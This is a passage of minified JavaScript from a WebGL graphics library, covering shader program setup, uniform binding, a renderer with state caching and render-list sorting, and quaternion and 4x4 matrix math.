Shader\n").concat(M(n)));var A=e.createShader(e.FRAGMENT_SHADER);if(e.shaderSource(A,r),e.compileShader(A),""!==e.getShaderInfoLog(A)&&console.warn("".concat(e.getShaderInfoLog(A),"\nFragment Shader\n").concat(M(r))),this.program=e.createProgram(),e.attachShader(this.program,w),e.attachShader(this.program,A),e.linkProgram(this.program),!e.getProgramParameter(this.program,e.LINK_STATUS))return console.warn(e.getProgramInfoLog(this.program));e.deleteShader(w),e.deleteShader(A),this.uniformLocations=new Map;for(var E=e.getProgramParameter(this.program,e.ACTIVE_UNIFORMS),b=0;b<E;b++){var k=e.getActiveUniform(this.program,b);this.uniformLocations.set(k,e.getUniformLocation(this.program,k.name));var U=k.name.match(/(\w+)/g);k.uniformName=U[0],3===U.length?(k.isStructArray=!0,k.structIndex=Number(U[1]),k.structProperty=U[2]):2===U.length&&isNaN(Number(U[1]))&&(k.isStruct=!0,k.structProperty=U[1])}this.attributeLocations=new Map;for(var C=[],S=e.getProgramParameter(this.program,e.ACTIVE_ATTRIBUTES),F=0;F<S;F++){var T=e.getActiveAttrib(this.program,F),R=e.getAttribLocation(this.program,T.name);-1!==R&&(C[R]=T.name,this.attributeLocations.set(T,R))}this.attributeOrder=C.join("")}return _createClass(t,[{key:"setBlendFunc",value:function(t,e,i,n){this.blendFunc.src=t,this.blendFunc.dst=e,this.blendFunc.srcAlpha=i,this.blendFunc.dstAlpha=n,t&&(this.transparent=!0)}},{key:"setBlendEquation",value:function(t,e){this.blendEquation.modeRGB=t,this.blendEquation.modeAlpha=e}},{key:"applyState",value:function(){this.depthTest?this.gl.renderer.enable(this.gl.DEPTH_TEST):this.gl.renderer.disable(this.gl.DEPTH_TEST),this.cullFace?this.gl.renderer.enable(this.gl.CULL_FACE):this.gl.renderer.disable(this.gl.CULL_FACE),this.blendFunc.src?this.gl.renderer.enable(this.gl.BLEND):this.gl.renderer.disable(this.gl.BLEND),this.cullFace&&this.gl.renderer.setCullFace(this.cullFace),this.gl.renderer.setFrontFace(this.frontFace),this.gl.renderer.setDepthMask(this.depthWrite),this.gl.renderer.setDepthFunc(this.depthFunc),this.blendFunc.src&&this.gl.renderer.setBlendFunc(this.blendFunc.src,this.blendFunc.dst,this.blendFunc.srcAlpha,this.blendFunc.dstAlpha),this.gl.renderer.setBlendEquation(this.blendEquation.modeRGB,this.blendEquation.modeAlpha)}},{key:"use",value:function(){var t=this,e=(arguments.length>0&&void 0!==arguments[0]?arguments[0]:{}).flipFaces,i=void 0!==e&&e,n=-1;this.gl.renderer.state.currentProgram===this.id||(this.gl.useProgram(this.program),this.gl.renderer.state.currentProgram=this.id),this.uniformLocations.forEach((function(e,i){var r=i.uniformName,s=t.uniforms[r];if(i.isStruct&&(s=s[i.structProperty],r+=".".concat(i.structProperty)),i.isStructArray&&(s=s[i.structIndex][i.structProperty],r+="[".concat(i.structIndex,"].").concat(i.structProperty)),!s)return b("Active uniform ".concat(r," has not been supplied"));if(s&&void 0===s.value)return b("".concat(r," uniform is missing a value parameter"));if(s.value.texture)return n+=1,s.value.update(n),A(t.gl,i.type,e,n);if(s.value.length&&s.value[0].texture){var a=[];return s.value.forEach((function(t){n+=1,t.update(n),a.push(n)})),A(t.gl,i.type,e,a)}A(t.gl,i.type,e,s.value)})),this.applyState(),i&&this.gl.renderer.setFrontFace(this.frontFace===this.gl.CCW?this.gl.CW:this.gl.CCW)}},{key:"remove",value:function(){this.gl.deleteProgram(this.program)}}]),t}();function A(t,e,i,n){n=n.length?function(t){var e=t.length,i=t[0].length;if(void 0===i)return t;var n=e*i,r=x[n];r||(x[n]=r=new Float32Array(n));for(var s=0;s<e;s++)r.set(t[s],s*i);return r}(n):n;var r=t.renderer.state.uniformLocations.get(i);if(n.length)if(void 0===r||r.length!==n.length)t.renderer.state.uniformLocations.set(i,n.slice(0));else{if(function(t,e){if(t.length!==e.length)return!1;for(var i=0,n=t.length;i<n;i++)if(t[i]!==e[i])return!1;return!0}(r,n))return;r.set?r.set(n):function(t,e){for(var i=0,n=t.length;i<n;i++)t[i]=e[i]}(r,n),t.renderer.state.uniformLocations.set(i,r)}else{if(r===n)return;t.renderer.state.uniformLocations.set(i,n)}switch(e){case 5126:return n.length?t.uniform1fv(i,n):t.uniform1f(i,n);case 35664:return t.uniform2fv(i,n);case 35665:return t.uniform3fv(i,n);case 35666:return t.uniform4fv(i,n);case 35670:case 5124:case 35678:case 35680:return n.length?t.uniform1iv(i,n):t.uniform1i(i,n);case 35671:case 35667:return t.uniform2iv(i,n);case 35672:case 35668:return t.uniform3iv(i,n);case 35673:case 35669:return t.uniform4iv(i,n);case 35674:return t.uniformMatrix2fv(i,!1,n);case 35675:return t.uniformMatrix3fv(i,!1,n);case 35676:return t.uniformMatrix4fv(i,!1,n)}}function M(t){for(var e=t.split("\n"),i=0;i<e.length;i++)e[i]=i+1+": "+e[i];return e.join("\n")}var E=0;function b(t){E>100||(console.warn(t),++E>100&&console.warn("More than 100 program warnings - stopping logs."))}var k=new d,U=1,C=function(){function t(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},i=e.canvas,n=void 0===i?document.createElement("canvas"):i,r=e.width,s=void 0===r?300:r,a=e.height,o=void 0===a?150:a,l=e.dpr,h=void 0===l?1:l,c=e.alpha,u=void 0!==c&&c,d=e.depth,f=void 0===d||d,p=e.stencil,m=void 0!==p&&p,g=e.antialias,v=void 0!==g&&g,y=e.premultipliedAlpha,x=void 0!==y&&y,w=e.preserveDrawingBuffer,A=void 0!==w&&w,M=e.powerPreference,E=void 0===M?"default":M,b=e.autoClear,k=void 0===b||b,C=e.webgl,S=void 0===C?2:C;_classCallCheck(this,t);var F={alpha:u,depth:f,stencil:m,antialias:v,premultipliedAlpha:x,preserveDrawingBuffer:A,powerPreference:E};this.dpr=h,this.alpha=u,this.color=!0,this.depth=f,this.stencil=m,this.premultipliedAlpha=x,this.autoClear=k,this.id=U++,2===S&&(this.gl=n.getContext("webgl2",F)),this.isWebgl2=!!this.gl,this.gl||(this.gl=n.getContext("webgl",F)),this.gl||console.error("unable to create webgl context"),this.gl.renderer=this,this.setSize(s,o),this.state={},this.state.blendFunc={src:this.gl.ONE,dst:this.gl.ZERO},this.state.blendEquation={modeRGB:this.gl.FUNC_ADD},this.state.cullFace=null,this.state.frontFace=this.gl.CCW,this.state.depthMask=!0,this.state.depthFunc=this.gl.LESS,this.state.premultiplyAlpha=!1,this.state.flipY=!1,this.state.unpackAlignment=4,this.state.framebuffer=null,this.state.viewport={x:0,y:0,width:null,height:null},this.state.textureUnits=[],this.state.activeTextureUnit=0,this.state.boundBuffer=null,this.state.uniformLocations=new Map,this.state.currentProgram=null,this.extensions={},this.isWebgl2?(this.getExtension("EXT_color_buffer_float"),this.getExtension("OES_texture_float_linear")):(this.getExtension("OES_texture_float"),this.getExtension("OES_texture_float_linear"),this.getExtension("OES_texture_half_float"),this.getExtension("OES_texture_half_float_linear"),this.getExtension("OES_element_index_uint"),this.getExtension("OES_standard_derivatives"),this.getExtension("EXT_sRGB"),this.getExtension("WEBGL_depth_texture"),this.getExtension("WEBGL_draw_buffers")),this.getExtension("WEBGL_compressed_texture_astc"),this.getExtension("EXT_texture_compression_bptc"),this.getExtension("WEBGL_compressed_texture_s3tc"),this.getExtension("WEBGL_compressed_texture_etc1"),this.getExtension("WEBGL_compressed_texture_pvrtc"),this.getExtension("WEBKIT_WEBGL_compressed_texture_pvrtc"),this.vertexAttribDivisor=this.getExtension("ANGLE_instanced_arrays","vertexAttribDivisor","vertexAttribDivisorANGLE"),this.drawArraysInstanced=this.getExtension("ANGLE_instanced_arrays","drawArraysInstanced","drawArraysInstancedANGLE"),this.drawElementsInstanced=this.getExtension("ANGLE_instanced_arrays","drawElementsInstanced","drawElementsInstancedANGLE"),this.createVertexArray=this.getExtension("OES_vertex_array_object","createVertexArray","createVertexArrayOES"),this.bindVertexArray=this.getExtension("OES_vertex_array_object","bindVertexArray","bindVertexArrayOES"),this.deleteVertexArray=this.getExtension("OES_vertex_array_object","deleteVertexArray","deleteVertexArrayOES"),this.drawBuffers=this.getExtension("WEBGL_draw_buffers","drawBuffers","drawBuffersWEBGL"),this.parameters={},this.parameters.maxTextureUnits=this.gl.getParameter(this.gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS),this.parameters.maxAnisotropy=this.getExtension("EXT_texture_filter_anisotropic")?this.gl.getParameter(this.getExtension("EXT_texture_filter_anisotropic").MAX_TEXTURE_MAX_ANISOTROPY_EXT):0}return _createClass(t,[{key:"setSize",value:function(t,e){this.width=t,this.height=e,this.gl.canvas.width=t*this.dpr,this.gl.canvas.height=e*this.dpr,Object.assign(this.gl.canvas.style,{width:t+"px",height:e+"px"})}},{key:"setViewport",value:function(t,e){var i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0,n=arguments.length>3&&void 0!==arguments[3]?arguments[3]:0;this.state.viewport.width===t&&this.state.viewport.height===e||(this.state.viewport.width=t,this.state.viewport.height=e,this.state.viewport.x=i,this.state.viewport.y=n,this.gl.viewport(i,n,t,e))}},{key:"setScissor",value:function(t,e){var i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0,n=arguments.length>3&&void 0!==arguments[3]?arguments[3]:0;this.gl.scissor(i,n,t,e)}},{key:"enable",value:function(t){!0!==this.state[t]&&(this.gl.enable(t),this.state[t]=!0)}},{key:"disable",value:function(t){!1!==this.state[t]&&(this.gl.disable(t),this.state[t]=!1)}},{key:"setBlendFunc",value:function(t,e,i,n){this.state.blendFunc.src===t&&this.state.blendFunc.dst===e&&this.state.blendFunc.srcAlpha===i&&this.state.blendFunc.dstAlpha===n||(this.state.blendFunc.src=t,this.state.blendFunc.dst=e,this.state.blendFunc.srcAlpha=i,this.state.blendFunc.dstAlpha=n,void 0!==i?this.gl.blendFuncSeparate(t,e,i,n):this.gl.blendFunc(t,e))}},{key:"setBlendEquation",value:function(t,e){t=t||this.gl.FUNC_ADD,this.state.blendEquation.modeRGB===t&&this.state.blendEquation.modeAlpha===e||(this.state.blendEquation.modeRGB=t,this.state.blendEquation.modeAlpha=e,void 0!==e?this.gl.blendEquationSeparate(t,e):this.gl.blendEquation(t))}},{key:"setCullFace",value:function(t){this.state.cullFace!==t&&(this.state.cullFace=t,this.gl.cullFace(t))}},{key:"setFrontFace",value:function(t){this.state.frontFace!==t&&(this.state.frontFace=t,this.gl.frontFace(t))}},{key:"setDepthMask",value:function(t){this.state.depthMask!==t&&(this.state.depthMask=t,this.gl.depthMask(t))}},{key:"setDepthFunc",value:function(t){this.state.depthFunc!==t&&(this.state.depthFunc=t,this.gl.depthFunc(t))}},{key:"activeTexture",value:function(t){this.state.activeTextureUnit!==t&&(this.state.activeTextureUnit=t,this.gl.activeTexture(this.gl.TEXTURE0+t))}},{key:"bindFramebuffer",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},e=t.target,i=void 0===e?this.gl.FRAMEBUFFER:e,n=t.buffer,r=void 0===n?null:n;this.state.framebuffer!==r&&(this.state.framebuffer=r,this.gl.bindFramebuffer(i,r))}},{key:"getExtension",value:function(t,e,i){return e&&this.gl[e]?this.gl[e].bind(this.gl):(this.extensions[t]||(this.extensions[t]=this.gl.getExtension(t)),e?this.extensions[t]?this.extensions[t][i].bind(this.extensions[t]):null:this.extensions[t])}},{key:"sortOpaque",value:function(t,e){return t.renderOrder!==e.renderOrder?t.renderOrder-e.renderOrder:t.program.id!==e.program.id?t.program.id-e.program.id:t.zDepth!==e.zDepth?t.zDepth-e.zDepth:e.id-t.id}},{key:"sortTransparent",value:function(t,e){return t.renderOrder!==e.renderOrder?t.renderOrder-e.renderOrder:t.zDepth!==e.zDepth?e.zDepth-t.zDepth:e.id-t.id}},{key:"sortUI",value:function(t,e){return t.renderOrder!==e.renderOrder?t.renderOrder-e.renderOrder:t.program.id!==e.program.id?t.program.id-e.program.id:e.id-t.id}},{key:"getRenderList",value:function(t){var e=t.scene,i=t.camera,n=t.frustumCull,r=t.sort,s=[];if(i&&n&&i.updateFrustum(),e.traverse((function(t){if(!t.visible)return!0;t.draw&&(n&&t.frustumCulled&&i&&!i.frustumIntersectsMesh(t)||s.push(t))})),r){var a=[],o=[],l=[];s.forEach((function(t){t.program.transparent?t.program.depthTest?o.push(t):l.push(t):a.push(t),t.zDepth=0,0===t.renderOrder&&t.program.depthTest&&i&&(t.worldMatrix.getTranslation(k),k.applyMatrix4(i.projectionViewMatrix),t.zDepth=k.z)})),a.sort(this.sortOpaque),o.sort(this.sortTransparent),l.sort(this.sortUI),s=a.concat(o,l)}return s}},{key:"render",value:function(t){var e=t.scene,i=t.camera,n=t.target,r=void 0===n?null:n,s=t.update,a=void 0===s||s,o=t.sort,l=void 0===o||o,h=t.frustumCull,c=void 0===h||h,u=t.clear;null===r?(this.bindFramebuffer(),this.setViewport(this.width*this.dpr,this.height*this.dpr)):(this.bindFramebuffer(r),this.setViewport(r.width,r.height)),(u||this.autoClear&&!1!==u)&&(!this.depth||r&&!r.depth||(this.enable(this.gl.DEPTH_TEST),this.setDepthMask(!0)),this.gl.clear((this.color?this.gl.COLOR_BUFFER_BIT:0)|(this.depth?this.gl.DEPTH_BUFFER_BIT:0)|(this.stencil?this.gl.STENCIL_BUFFER_BIT:0))),a&&e.updateMatrixWorld(),i&&i.updateMatrixWorld(),this.getRenderList({scene:e,camera:i,frustumCull:c,sort:l}).forEach((function(t){t.draw({camera:i})}))}}]),t}();function S(t,e){return t[0]=e[0],t[1]=e[1],t[2]=e[2],t[3]=e[3],t}function F(t,e,i,n,r){return t[0]=e,t[1]=i,t[2]=n,t[3]=r,t}function T(t,e){var i=e[0],n=e[1],r=e[2],s=e[3],a=i*i+n*n+r*r+s*s;return a>0&&(a=1/Math.sqrt(a)),t[0]=i*a,t[1]=n*a,t[2]=r*a,t[3]=s*a,t}function R(t,e){return t[0]*e[0]+t[1]*e[1]+t[2]*e[2]+t[3]*e[3]}function I(t,e,i){var n=e[0],r=e[1],s=e[2],a=e[3],o=i[0],l=i[1],h=i[2],c=i[3];return t[0]=n*c+a*o+r*h-s*l,t[1]=r*c+a*l+s*o-n*h,t[2]=s*c+a*h+n*l-r*o,t[3]=a*c-n*o-r*l-s*h,t}var G=S,P=F,O=R,Y=T,B=function(t){function e(){var t,i=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0,s=arguments.length>3&&void 0!==arguments[3]?arguments[3]:1;return _classCallCheck(this,e),(t=_callSuper(this,e,[i,n,r,s])).onChange=function(){},_possibleConstructorReturn(t,_assertThisInitialized(t))}return _inherits(e,_wrapNativeSuper(Array)),_createClass(e,[{key:"x",get:function(){return this[0]},set:function(t){this[0]=t,this.onChange()}},{key:"y",get:function(){return this[1]},set:function(t){this[1]=t,this.onChange()}},{key:"z",get:function(){return this[2]},set:function(t){this[2]=t,this.onChange()}},{key:"w",get:function(){return this[3]},set:function(t){this[3]=t,this.onChange()}},{key:"identity",value:function(){var t;return(t=this)[0]=0,t[1]=0,t[2]=0,t[3]=1,this.onChange(),this}},{key:"set",value:function(t,e,i,n){return t.length?this.copy(t):(P(this,t,e,i,n),this.onChange(),this)}},{key:"rotateX",value:function(t){return function(t,e,i){i*=.5;var n=e[0],r=e[1],s=e[2],a=e[3],o=Math.sin(i),l=Math.cos(i);t[0]=n*l+a*o,t[1]=r*l+s*o,t[2]=s*l-r*o,t[3]=a*l-n*o}(this,this,t),this.onChange(),this}},{key:"rotateY",value:function(t){return function(t,e,i){i*=.5;var n=e[0],r=e[1],s=e[2],a=e[3],o=Math.sin(i),l=Math.cos(i);t[0]=n*l-s*o,t[1]=r*l+a*o,t[2]=s*l+n*o,t[3]=a*l-r*o}(this,this,t),this.onChange(),this}},{key:"rotateZ",value:function(t){return function(t,e,i){i*=.5;var n=e[0],r=e[1],s=e[2],a=e[3],o=Math.sin(i),l=Math.cos(i);t[0]=n*l+r*o,t[1]=r*l-n*o,t[2]=s*l+a*o,t[3]=a*l-s*o}(this,this,t),this.onChange(),this}},{key:"inverse",value:function(){var t,e,i,n,r,s,a,o;return t=this,i=(e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this)[0],n=e[1],r=e[2],s=e[3],o=(a=i*i+n*n+r*r+s*s)?1/a:0,t[0]=-i*o,t[1]=-n*o,t[2]=-r*o,t[3]=s*o,this.onChange(),this}},{key:"conjugate",value:function(){var t,e;return e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this,(t=this)[0]=-e[0],t[1]=-e[1],t[2]=-e[2],t[3]=e[3],this.onChange(),this}},{key:"copy",value:function(t){return G(this,t),this.onChange(),this}},{key:"normalize",value:function(){return Y(this,arguments.length>0&&void 0!==arguments[0]?arguments[0]:this),this.onChange(),this}},{key:"multiply",value:function(t,e){return e?I(this,t,e):I(this,this,t),this.onChange(),this}},{key:"dot",value:function(t){return O(this,t)}},{key:"fromMatrix3",value:function(t){return function(t,e){var i,n=e[0]+e[4]+e[8];if(n>0)i=Math.sqrt(n+1),t[3]=.5*i,i=.5/i,t[0]=(e[5]-e[7])*i,t[1]=(e[6]-e[2])*i,t[2]=(e[1]-e[3])*i;else{var r=0;e[4]>e[0]&&(r=1),e[8]>e[3*r+r]&&(r=2);var s=(r+1)%3,a=(r+2)%3;i=Math.sqrt(e[3*r+r]-e[3*s+s]-e[3*a+a]+1),t[r]=.5*i,i=.5/i,t[3]=(e[3*s+a]-e[3*a+s])*i,t[s]=(e[3*s+r]+e[3*r+s])*i,t[a]=(e[3*a+r]+e[3*r+a])*i}}(this,t),this.onChange(),this}},{key:"fromEuler",value:function(t){return function(t,e){var i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"YXZ",n=Math.sin(.5*e[0]),r=Math.cos(.5*e[0]),s=Math.sin(.5*e[1]),a=Math.cos(.5*e[1]),o=Math.sin(.5*e[2]),l=Math.cos(.5*e[2]);"XYZ"===i?(t[0]=n*a*l+r*s*o,t[1]=r*s*l-n*a*o,t[2]=r*a*o+n*s*l,t[3]=r*a*l-n*s*o):"YXZ"===i?(t[0]=n*a*l+r*s*o,t[1]=r*s*l-n*a*o,t[2]=r*a*o-n*s*l,t[3]=r*a*l+n*s*o):"ZXY"===i?(t[0]=n*a*l-r*s*o,t[1]=r*s*l+n*a*o,t[2]=r*a*o+n*s*l,t[3]=r*a*l-n*s*o):"ZYX"===i?(t[0]=n*a*l-r*s*o,t[1]=r*s*l+n*a*o,t[2]=r*a*o-n*s*l,t[3]=r*a*l+n*s*o):"YZX"===i?(t[0]=n*a*l+r*s*o,t[1]=r*s*l+n*a*o,t[2]=r*a*o-n*s*l,t[3]=r*a*l-n*s*o):"XZY"===i&&(t[0]=n*a*l-r*s*o,t[1]=r*s*l-n*a*o,t[2]=r*a*o+n*s*l,t[3]=r*a*l+n*s*o)}(this,t,t.order),this}},{key:"fromAxisAngle",value:function(t,e){return function(t,e,i){i*=.5;var n=Math.sin(i);t[0]=n*e[0],t[1]=n*e[1],t[2]=n*e[2],t[3]=Math.cos(i)}(this,t,e),this}},{key:"slerp",value:function(t,e){return function(t,e,i,n){var r,s,a,o,l,h=e[0],c=e[1],u=e[2],d=e[3],f=i[0],p=i[1],m=i[2],g=i[3];(s=h*f+c*p+u*m+d*g)<0&&(s=-s,f=-f,p=-p,m=-m,g=-g),1-s>1e-6?(r=Math.acos(s),a=Math.sin(r),o=Math.sin((1-n)*r)/a,l=Math.sin(n*r)/a):(o=1-n,l=n),t[0]=o*h+l*f,t[1]=o*c+l*p,t[2]=o*u+l*m,t[3]=o*d+l*g}(this,this,t,e),this}},{key:"fromArray",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;return this[0]=t[e],this[1]=t[e+1],this[2]=t[e+2],this[3]=t[e+3],this}},{key:"toArray",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;return t[e]=this[0],t[e+1]=this[1],t[e+2]=this[2],t[e+3]=this[3],t}}]),e}();function D(t,e,i){var n=e[0],r=e[1],s=e[2],a=e[3],o=e[4],l=e[5],h=e[6],c=e[7],u=e[8],d=e[9],f=e[10],p=e[11],m=e[12],g=e[13],v=e[14],y=e[15],x=i[0],w=i[1],A=i[2],M=i[3];return t[0]=x*n+w*o+A*u+M*m,t[1]=x*r+w*l+A*d+M*g,t[2]=x*s+w*h+A*f+M*v,t[3]=x*a+w*c+A*p+M*y,x=i[4],w=i[5],A=i[6],M=i[7],t[4]=x*n+w*o+A*u+M*m,t[5]=x*r+w*l+A*d+M*g,t[6]=x*s+w*h+A*f+M*v,t[7]=x*a+w*c+A*p+M*y,x=i[8],w=i[9],A=i[10],M=i[11],t[8]=x*n+w*o+A*u+M*m,t[9]=x*r+w*l+A*d+M*g,t[10]=x*s+w*h+A*f+M*v,t[11]=x*a+w*c+A*p+M*y,x=i[12],w=i[13],A=i[14],M=i[15],t[12]=x*n+w*o+A*u+M*m,t[13]=x*r+w*l+A*d+M*g,t[14]=x*s+w*h+A*f+M*v,t[15]=x*a+w*c+A*p+M*y,t}function j(t,e){var i=e[0],n=e[1],r=e[2],s=e[4],a=e[5],o=e[6],l=e[8],h=e[9],c=e[10];return t[0]=Math.hypot(i,n,r),t[1]=Math.hypot(s,a,o),t[2]=Math.hypot(l,h,c),t}var K,N=(K=[0,0,0],function(t,e){var i=K;j(i,e);var n=1/i[0],r=1/i[1],s=1/i[2],a=e[0]*n,o=e[1]*r,l=e[2]*s,h=e[4]*n,c=e[5]*r,u=e[6]*s,d=e[8]*n,f=e[9]*r,p=e[10]*s,m=a+c+p,g=0;return m>0?(g=2*Math.sqrt(m+1),t[3]=.25*g,t[0]=(u-f)/g,t[1]=(d-l)/g,t[2]=(o-h)/g):a>c&&a>p?(g=2*Math.sqrt(1+a-c-p),t[3]=(u-f)/g,t[0]=.25*g,t[1]=(o+h)/g,t[2]=(d+l)/g):c>p?(g=2*Math.sqrt(1+c-a-p),t[3]=(d-l)/g,t[0]=(o+h)/g,t[1]=.25*g,t[2]=(u+f)/g):(g=2*Math.sqrt(1+p-a-c),t[3]=(o-h)/g,t[0]=(d+l)/g,t[1]=(u+f)/g,t[2]=.25*g),t});var Q=function(t){function e(){var t,i=arguments.length>0&&void 0!==arguments[0]?arguments[0]:1,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0,s=arguments.length>3&&void 0!==arguments[3]?arguments[3]:0,a=arguments.length>4&&void 0!==arguments[4]?arguments[4]:0,o=arguments.length>5&&void 0!==arguments[5]?arguments[5]:1,l=arguments.length>6&&void 0!==arguments[6]?arguments[6]:0,h=arguments.length>7&&void 0!==arguments[7]?arguments[7]:0,c=arguments.length>8&&void 0!==arguments[8]?arguments[8]:0,u=arguments.length>9&&void 0!==arguments[9]?arguments[9]:0,d=arguments.length>10&&void 0!==arguments[10]?arguments[10]:1,f=arguments.length>11&&void 0!==arguments[11]?arguments[11]:0,p=arguments.length>12&&void 0!==arguments[12]?arguments[12]:0,m=arguments.length>13&&void 0!==arguments[13]?arguments[13]:0,g=arguments.length>14&&void 0!==arguments[14]?arguments[14]:0,v=arguments.length>15&&void 0!==arguments[15]?arguments[15]:1;return _classCallCheck(this,e),_possibleConstructorReturn(t=_callSuper(this,e,[i,n,r,s,a,o,l,h,c,u,d,f,p,m,g,v]),_assertThisInitialized(t))}return _inherits(e,_wrapNativeSuper(Array)),_createClass(e,[{key:"x",get:function(){return this[12]},set:function(t){this[12]=t}},{key:"y",get:function(){return this[13]},set:function(t){this[13]=t}},{key:"z",get:function(){return this[14]},set:function(t){this[14]=t}},{key:"w",get:function(){return this[15]},set:function(t){this[15]=t}},{key:"set",value:function(t,e,i,n,r,s,a,o,l,h,c,u,d,f,p,m){return t.length?this.copy(t):(function(t,e,i,n,r,s,a,o,l,h,c,u,d,f,p,m,g){t[0]=e,t[1]=i,t[2]=n,t[3]=r,t[4]=s,t[5]=a,t[6]=o,t[7]=l,t[8]=h,t[9]=c,t[10]=u,t[11]=d,t[12]=f,t[13]=p,t[14]=m,t[15]=g}(this,t,e,i,n,r,s,a,o,l,h,c,u,d,f,p,m),this)}},{key:"translate",value:function(t){return function(t,e,i){var n,r,s,a,o,l,h,c,u,d,f,p,m=i[0],g=i[1],v=i[2];e===t?(t[12]=e[0]*m+e[4]*g+e[8]*v+e[12],t[13]=e[1]*m+e[5]*g+e[9]*v+e[13],t[14]=e[2]*m+e[6]*g+e[10]*v+e[14],t[15]=e[3]*m+e[7]*g+e[11]*v+e[15]):(n=e[0],r=e[1],s=e[2],a=e[3],o=e[4],l=e[5],h=e[6],c=e[7],u=e[8],d=e[9],f=e[10],p=e[11],t[0]=n,t[1]=r,t[2]=s,t[3]=a,t[4]=o,t[5]=l,t[6]=h,t[7]=c,t[8]=u,t[9]=d,t[10]=f,t[11]=p,t[12]=n*m+o*g+u*v+e[12],t[13]=r*m+l*g+d*v+e[13],t[14]=s*m+h*g+f*v+e[14],t[15]=a*m+c*g+p*v+e[15])}(this,arguments.length>1&&void 0!==arguments[1]?arguments[1]:this,t),this}},{key:"rotate",value:function(t,e){return function(t,e,i,n){var r,s,a,o,l,h,c,u,d,f,p,m,g,v,y,x,w,A,M,E,b,k,U,C,S=n[0],F=n[1],T=n[2],R=Math.hypot(S,F,T);Math.abs(R)<1e-6||(S*=R=1/R,F*=R,T*=R,r=Math.sin(i),a=1-(s=Math.cos(i)),o=e[0],l=e[1],h=e[2],c=e[3],u=e[4],d=e[5],f=e[6],p=e[7],m=e[8],g=e[9],v=e[10],y=e[11],x=S*S*a+s,w=F*S*a+T*r,A=T*S*a-F*r,M=S*F*a-T*r,E=F*F*a+s,b=T*F*a+S*r,k=S*T*a+F*r,U=F*T*a-S*r,C=T*T*a+s,t[0]=o*x+u*w+m*A,t[1]=l*x+d*w+g*A,t[2]=h*x+f*w+v*A,t[3]=c*x+p*w+y*A,t[4]=o*M+u*E+m*b,t[5]=l*M+d*E+g*b,t[6]=h*M+f*E+v*b,t[7]=c*M+p*E+y*b,t[8]=o*k+u*U+m*C,t[9]=l*k+d*U+g*C,t[10]=h*k+f*U+v*C,t[11]=c*k+p*U+y*C,e!==t&&(t[12]=e[12],t[13]=e[13],t[14]=e[14],t[15]=e[15]))}(this,arguments.length>2&&void 0!==arguments[2]?arguments[2]:this,t,e),this}},{key:"scale",value:function(t){return function(t,e,i){var n=i[0],r=i[1],s=i[2];t[0]=e[0]*n,t[1]=e[1]*n,t[2]=e[2]*n,t[3]=e[3]*n,t[4]=e[4]*r,t[5]=e[5]*r,t[6]=e[6]*r,t[7]=e[7]*r,t[8]=e[8]*s,t[9]=e[9]*s,t[10]=e[10]*s,t[11]=e[11]*s,t[12]=e[12],t[13]=e[13],t[14]=e[14],t[15]=e[15]}(this,arguments.length>1&&void 0!==arguments[1]?arguments[1]:this,"number"==typeof t?[t,t,t]:t),this}},{key:"multiply",value:function(t,e){return e?D(this,t,e):D(this,this,t),this}},{key:"identity",value:function(){var t;return(t=this)[0]=1,t[1]=0,t[2]=0,t[3]=0,t[4]=0,t[5]=1,t[6]=0,t[7]=0,t[8]=0,t[9]=0,t[10]=1,t[11]=0,t[12]=0,t[13]=0,t[14]=0,t[15]=1,this}},{key:"copy",value:function(t){var e,i;return i=t,(e=this)[0]=i[0],e[1]=i[1],e[2]=i[2],e[3]=i[3],e[4]=i[4],e[5]=i[5],e[6]=i[6],e[7]=i[7],e[8]=i[8],e[9]=i[9],e[10]=i[10],e[11]=i[11],e[12]=i[12],e[13]=i[13],e[14]=i[14],e[15]=i[15],this}},{key:"fromPerspective",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return function(t,e,i,n,r){var s=1/Math.tan(e/2),a=1/(n-r);t[0]=s/i,t[1]=0,t[2]=0,t[3]=0,t[4]=0,t[5]=s,t[6]=0,t[7]=0,t[8]=0,t[9]=0,t[10]=(r+n)*a,t[11]=-1,t[12]=0,t[13]=0,t[14]=2*r*n*a,t[15]=0}(this,t.fov,t.aspect,t.near,t.far),this}},{key:"fromOrthogonal",value:function(t){return function(t,e,i,n,r,s,a){var o=1/(e-i),l=1/(n-r),h=1/(s-a);t[0]=-2*o,t[1]=0,t[2]=0,t[3]=0,t[4]=0,t[5]=-2*l,t[6]=0,t[7]=0,t[8]=0,t[9]=0,t[10]=2*h,t[11]=0,t[12]=(e+i)*o,t[13]=(r+n)*l,t[14]=(a+s)*h,t[15]=1}(this,t.left,t.right,t.bottom,t.top,t.near,t.far),this}},{key:"fromQuaternion",value:function(t){return function(t,e){var i=e[0],n=e[1],r=e[2],s=e[3],a=i+i,o=n+n,l=r+r,h=i*a,c=n*a,u=n*o,d=r*a,f=r*o,p=r*l,m=s*a,g=s*o,v=s*l;t[0]=1-u-p,t[1]=c+v,t[2]=d-g,t[3]=0,t[4]=c-v,t[5]=1-h-p,t[6]=f+m,t[7]=0,t[8]=d+g,t[9]=f-m,t[10]=1-h-u,t[11]=0,t[12]=0,t[13]=0,t[14]=0,t[15]=1}(this,t),this}},{key:"setPosition",value:function(t){return this.x=t[0],this.y=t[1],this.z=t[2],this}},{key:"inverse",value:function(){var t,e,i,n,r,s,a,o,l,h,c,u,d,f,p,m,g,v,y,x,w,A,M,E,b,k,U,C,S,F,T;return t=this,i=(e=arguments.length>0&&void 